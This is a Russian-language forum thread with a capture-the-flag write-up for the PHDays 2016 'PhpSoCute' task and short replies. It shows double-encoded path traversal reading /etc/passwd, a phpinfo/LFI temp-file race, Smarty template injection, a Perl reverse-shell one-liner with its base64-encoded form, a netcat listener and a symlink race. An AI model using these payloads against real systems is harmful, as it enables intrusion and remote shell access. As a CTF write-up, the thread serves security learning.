PDA

Просмотр полной версии : Write-up PHDays 2016 PhpSoCute


Isis
20.04.2016, 01:50
PhpSoCute

http://php.hackquest.phdays.com:88/

Дан какой-то бложек, с виду wordpress.

Доступны урлы: index.php -> index.html, wp-admin.html

Dirbuster нашел pi.php который показывает нам phpinfo.

После некоторого фазинга было понятно, что есть некий include или даже читалка файлов для запросов которые оканчиваются на html

http://php.hackquest.phdays.com:88/pi.php/1html

Такой запрос нам показал интересный параметр PATH_TRANSLATED - redirect:/t3mp473l04d3r.php

При обращении к этому файлу - 500 ошибка, видимо надо передавать какие-то гет параметры чтобы читать файлы, но это нам не нужно.

Пробуем doubleencode


http://php.hackquest.phdays.com:88/%69ndex.html (http://php.hackquest.phdays.com:88/%2569ndex.html)


(%2569 - i), сработало!

Попробуем опуститься на директорию ниже ..%252f и проитать файл index.php -


http://php.hackquest.phdays.com:88/..%2f/index.php.html (http://php.hackquest.phdays.com:88/..%252f/index.php.html)







Удача!

Читаем /etc/passwd


http://php.hackquest.phdays.com:88/..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd.html (http://php.hackquest.phdays.com:88/..%252f..%252f..%252f..%252f..%252f..%252fetc%252f passwd.html)




root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:MailingListManager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System(admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
flag:x:101:65534::/home/flag:/bin/false

Прочитать файл t3mp473l04d3r.php по пока непонятным причинам не удалось.

О, у нас есть phpinfo и lfi. так это же баг!

Суть вот в чем: нам надо послать какой-то файл на pi.php, pi.php выдаст нам массив $_FILES где будет указан временный путь куда загрузился наш файл вида /tmp/ololo

В это время нам надо проинклудить наш файл через lfi.

Проблема 1: Загруженный файл в /tmp доступен 20-30 секунд пока мы держим открытым сокет, но этого достаточно чтобы выполнить инклуд.

ПРоблема 2: Сайт работает на 2х нодах (2 разных виртуалки), т.е. файл мы можем загрузить в одну, а читать с другой. Решается реферешем страницы инклуда.

Для загрузки файла я использовал перл скрипт от Pashkela, но немного подифицировал: https://gist.github.com/firsov/52a249ab1b8da4dc9d2c654971e83f1c

Содержимое файла указывается в $phpcode, немного пофазил это значение и понял, что это template injection.

Usage: perl php.pl http://php.hackquest.phdays.com:88/pi.php


$phpcode='{var_dump(124)}';


http://hsto.org/files/2c3/b4b/987/2c3b4b9877b6464cabb7504b895fc1e7.png

Не обращаем внимания на ошибки - просто копируем строку


http://php.hackquest.phdays.com:88/..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fphpt30E85.html (http://php.hackquest.phdays.com:88/..%252f..%252f..%252f..%252f..%252f..%252ftmp%252f phpt30E85.html)


и вставляем в браузер.

Смотрим view-souce и видим:



int(124)



Отлично! php код выполняется.

Дальше я загнал перловый backconnect shell в base64


perl-e'use Socket;$i="127.0.0.MYSERVERIP";$p=4000;socket(S,PF_INET,SOCK_STREAM,getprotobyna me("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){op en(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

И проинклудил такую строку:


$phpcode = '{var_dump(system(base64_decode("cGVybCAtZSAndXNlIFNvY2tldDskaT0iMTI3LjAuMC5NWVNFUl ZFUklQIjskcD00MDAwO3NvY2tldChTLFBGX0lORVQsU09DS19T VFJFQU0sZ2V0cHJvdG9ieW5hbWUoInRjcCIpKTtpZihjb25uZW N0KFMsc29ja2FkZHJfaW4oJHAsaW5ldF9hdG9uKCRpKSkpKXtv cGVuKFNURElOLCI+JlMiKTtvcGVuKFNURE9VVCwiPiZTIik7b3 BlbihTVERFUlIsIj4mUyIpO2V4ZWMoIi9iaW4vc2ggLWkiKTt9 Oyc=")))}';


Тем временем на своем сервере у меня запущена команда nc -nlvkp 4000

На сервере увидел коннект с уязвимого хоста и ура, шелл есть.

http://hsto.org/files/832/007/2aa/8320072aaa2d4958a90130d485f614ee.png

ls -la /

http://hsto.org/files/ad3/bc3/753/ad3bc37533ec4f78b6cc171c9f823694.png

Здесь видно 2 файла от юзера flag: /binary и /flag

Прочитать нельзя.

Пробуем выполнить команду /binary flag - получаем ошибку.

Что же делать? Попробуем сделать symlink race condition

Запустим еще один терминал с этим сервером.

[Дальше будет без скринов и команды по памяти т.к. сервера уже недоступны]

В одном терминале запускаем /binary /tmp/lala в цикле

В другом терминале в цикле rm /tmp/lala; ln -s /flag /tmp/lala; rm /tmp/lala; echo azaza > /tmp/lala;

И получаем флаг.

За помощь спасибо mailbrush, yarbabin.

DarkCaT
20.04.2016, 01:56
ПРосто шедеврально)

MERRON
20.04.2016, 01:56
↑ (https://antichat.live/posts/3975638/)
Читаем /etc/passwd


Это было внезапно

Ch3ck
20.04.2016, 16:46
Понаехали тут...

Zen1T21
20.04.2016, 21:54
А кто-ниб из форумчан участвовал в прошедшем RuCTF?

shell_c0de
22.04.2016, 01:48
Шикарно!

оlbaneс
22.04.2016, 20:28
Изя, а помнишь как в болталке тебя отаковали? Ну, когда ник еще желтым был? Ну и чего там в зеленом доле? Поди сиськи друг другу показываете?

23napster23
23.04.2016, 23:46
А lfi заключается в том, что мы можем читать содержимое любого файла или файл добавляется, когда мы обращаемся к pi.php ?


↑ (https://antichat.live/posts/3975638/)
Содержимое файла указывается в $phpcode, немного пофазил это значение и понял, что это template injection.


Это в каком файле вы обнаружили template inj. ?

Isis
24.04.2016, 01:28
↑ (https://antichat.live/posts/3977083/)
А lfi заключается в том, что мы можем читать содержимое любого файла или файл добавляется, когда мы обращаемся к pi.php ?
Это в каком файле вы обнаружили template inj. ?


t3mp473l04d3r.php

там smarty->fetch вызывался

Alexandr II
24.04.2016, 13:55
↑ (https://antichat.live/posts/3976628/)
Изя, а помнишь как в болталке тебя отаковали? Ну, когда ник еще желтым был? Ну и чего там в зеленом доле? Поди сиськи друг другу показываете?


в строй возвращаются старички

по теме +

Taktik
05.10.2016, 06:29
↑ (https://antichat.live/posts/3975921/)
А кто-ниб из форумчан участвовал в прошедшем RuCTF?


Учавствовал

winstrool
02.11.2016, 12:33
Присутствовал, но не участвовал.... не был в команде....